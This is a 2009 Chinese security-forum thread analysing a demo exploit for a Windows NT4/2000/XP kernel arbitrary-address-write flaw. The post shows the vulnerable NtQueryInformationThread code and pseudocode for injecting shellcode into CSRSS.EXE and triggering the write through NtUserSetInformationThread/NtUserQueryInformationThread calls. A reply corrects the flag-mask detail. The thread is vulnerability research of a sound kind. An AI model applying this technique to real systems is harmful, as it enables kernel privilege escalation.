首页
论坛
课程
招聘
[原创]浅析Mj前辈的内核任意地址写入漏洞
2009-3-31 11:11 9043

[原创]浅析Mj前辈的内核任意地址写入漏洞

2009-3-31 11:11
9043
write By  http://hi.baidu.com/weolar/blog/item/55f9bda137a93883461064de.html

昨天MJ前辈爆出了一个Windows NT4/2000/XP(全补丁)内核任意地址写入漏洞。

还好没加花加壳~

拿到Dmeo后今天早上赶快IDA了一把。 遂稍微搞清楚怎么回事了。

进入 sub_401700后,先得到CSRSS.EXE进程句柄,然后是一段比较中规中矩的ShellCode注入CSRSS.EXE提权代码。进入CSRSS.EXE后,取得附在ShellCode后面保存的参数(即写入的地址和写入内容)引

起内核任意地址写入漏洞的是NtUserQueryInformationThreadNtUserSetInformationThread两个函数(确切的说是NtQueryInformationThread)。

先看NtQueryInformationThread代码:

NTSTATUS QueryInformationThread(
    IN HANDLE hThread,
    IN USERTHREADINFOCLASS ThreadInfoClass,
    OUT PVOID ThreadInformation,
    IN ULONG ThreadInformationLength,
    OUT PULONG ReturnLength OPTIONAL)


{

……

        case UserThreadFlags:
            LocalReturnLength = sizeof(DWORD);
            if (pti == NULL)
                Status = STATUS_INVALID_HANDLE;
            else if (ThreadInformationLength != sizeof(DWORD))
                Status = STATUS_INFO_LENGTH_MISMATCH;
            else
                *(LPDWORD)ThreadInformation = pti->TIF_flags;
            break;

导致漏洞的地方是   *(LPDWORD)ThreadInformation = pti->TIF_flags;
这句。由于ThreadInformation 未做参数检测,而且 pti->TIF_flags;又是可以被控制的,

所以漏洞被触发!

下面看漏洞触发语句:
USERTHREAD_FLAGS Flags;
Flags. FlagsMask =(DWORD)-1;
Flags. NewFlags= pValue;

if ( NtOpenThread(&ThreadHandle, 96, &ObjectAttributes, &ClientId) >= 0 )
{
    if ( NtUserQueryInformationThread(ThreadHandle, UserThreadFlags, &pTIF_flags, 4, &pReturnLength) >= 0 )   

// 保存原TIF_flags
    {
      if ( NtUserSetInformationThread(ThreadHandle, UserThreadFlags, & Flags, 8) >= 0 )       // 修改TIF_flags为我们构造的值
      {
        if ( NtUserQueryInformationThread(ThreadHandle, UserThreadFlags, MyAddress, 4, & pReturnLength) >= 0 )  ]//触发漏洞
        {
          Flags . NewFlags = pTIF_flags;        // 恢复原值
          NtUserSetInformationThread(ThreadHandle, UserThreadFlags, & Flags, 8);      
           MyPShellcodeParameter ->dwIsSuc = 1; // 恢复原值
        }
      }
    }
}
其中传入的参数是个结构体:

typedef _ShellcodeParameter
{
    PVOID pMyAddress;//写入的地址
    PVOID pValue;         //写入的值
    DWORD dwIsSuc;    //是否写入成功
    DWORD dwCurrentThreadId;//线程Id
}ShellcodeParameter,*PShellcodeParameter;


解析这段代码,得知先通过NtUserQueryInformationThread得到pTIF_flags的值保存,然后NtUseSetInformationThread修改pTIF_flags的值为我们需要的值,随后再用QuerypTIF_flags写入到我们精心构造的地址中。最后再讲原TIF_flags值写回,这样便完成内核任意地址写入!

通过这个漏洞,看出Mj前辈果然很细心很强大啊~~这么隐蔽的地方都发现。看来WINDOWS中还有不少可以挖掘的地方哇,哈哈。学习学习。
PS:由于完全是静态分析,不知道有没有写错的地方……请Mj前辈轻点拍砖

[2022冬季班]《安卓高级研修班(网课)》月薪两万班招生中~

收藏
点赞0
打赏
分享
最新回复 (16)
雪    币: 111
活跃值: 活跃值 (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
peowner 活跃值 2009-3-31 11:19
2
0
沙发学习!很强大呀
雪    币: 1004
活跃值: 活跃值 (261)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hmilywen 活跃值 2009-3-31 11:21
3
0
bandeng............
雪    币: 106
活跃值: 活跃值 (26)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
bujin888 活跃值 4 2009-3-31 11:21
4
0
hips HOOK NtUserQueryInformationThread话 是可以  UNHOOK也可以
但是驱动不能退出 一退就BSOD了  奇怪!
雪    币: 219
活跃值: 活跃值 (20)
能力值: ( LV9,RANK:1140 )
在线值:
发帖
回帖
粉丝
冷血书生 活跃值 28 2009-3-31 11:23
5
0
很强大啊~~~~~~~~~~~~
雪    币: 87
活跃值: 活跃值 (325)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
frozenrain 活跃值 2009-3-31 11:29
6
0
盟主太牛X了 膜拜
雪    币: 459
活跃值: 活跃值 (84)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 活跃值 9 2009-3-31 11:38
7
0
if ( NtUserSetInformationThread(ThreadHandle, 1, pValue, 8) >= 0 )   

这句代码是错的

仔细看看NtUserSetInformationThread吧,为什么InformationLength是8?
雪    币: 250
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kxsz 活跃值 2009-3-31 11:41
8
0
盟主速度好快,学习了

Zeny.
雪    币: 250
活跃值: 活跃值 (85)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2009-3-31 11:56
9
0
这个……里面确实是push 8.
请MJ前辈指点一下……
雪    币: 459
活跃值: 活跃值 (84)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 活跃值 9 2009-3-31 11:58
10
0
NtUserSetInformationThread时InformationThread是一个结构
第一个域是NewFlags,第二个是FlagsMask
需要将FlagsMask设为0xFFFFFFFF才能成功写入NewFlags
雪    币: 250
活跃值: 活跃值 (85)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2009-3-31 12:22
11
0
原来如此!看漏了~晕,昨天还注意到一个相识的问题,今天就忘记了,感谢Mj提醒~
雪    币: 190
活跃值: 活跃值 (23)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
rbwow 活跃值 2009-3-31 13:12
12
0
盟主速度好快,膜拜一下~~~
雪    币: 127
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ddao 活跃值 2009-3-31 14:27
13
0
仰视一下大牛。。。
雪    币: 200
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
柴子 活跃值 2009-4-4 22:05
14
0
从卡饭跟过来,忍不住发一贴,向高人致敬!
雪    币: 248
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
droiyan 活跃值 2009-4-8 13:13
15
0
很好,很强大!
雪    币: 260
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
hackself 活跃值 2009-4-8 13:22
16
0
好帖 确实好帖 少见的好帖 真 TMD 好帖 难得一见的好帖 千年等一回的好帖 好得不能再好的好帖 惊天地且泣鬼神的好帖 让人阅毕击掌三叹的好帖 让人佩服得五体投地的好帖 让人奔走相告曰须阅读的好帖 让斑竹看后决定加精固顶的好帖 让人看后在各论坛纷纷转贴的好帖 让人看后连成人网站都没兴趣的好帖 让人看完后就要往上顶往死里顶的好帖 让人看后不断在各种场合重复引用的好帖 让人一见面就问你看过某某好帖没有的好帖 让人半夜上厕所都要打开电脑再看一遍的好帖 让个读过后都下载在硬盘里详细研究欣赏的好帖 让人走路吃饭睡觉干什么事连做梦都梦到它的好帖 让人翻译成36种不同外语流传国内外世界各地的好帖 让人纷纷唱道过年过节不送礼要送就送某某帖子的好帖 让国家领导人命令将该帖刻在纯金版上当国礼送人的好帖 让网络上纷纷冒出该帖的真人版卡通版搞笑版成人版的好帖 让人在公共厕所里不再乱涂乱化而是纷纷对它引经据典的好帖 让某位想成名的少女向媒体说她与该帖作者发生过性关系的好帖 让人根据它写成小说又被不同导演拍成48个不同版本的电影的好帖 让某名导演跟据此帖改拍的电影在奥斯卡上一连拿了11个奖项的帖
雪    币: 1595
活跃值: 活跃值 (993)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
kagayaki 活跃值 2009-5-29 00:06
17
0
收藏!!!!!!!!!
游客
登录 | 注册 方可回帖
返回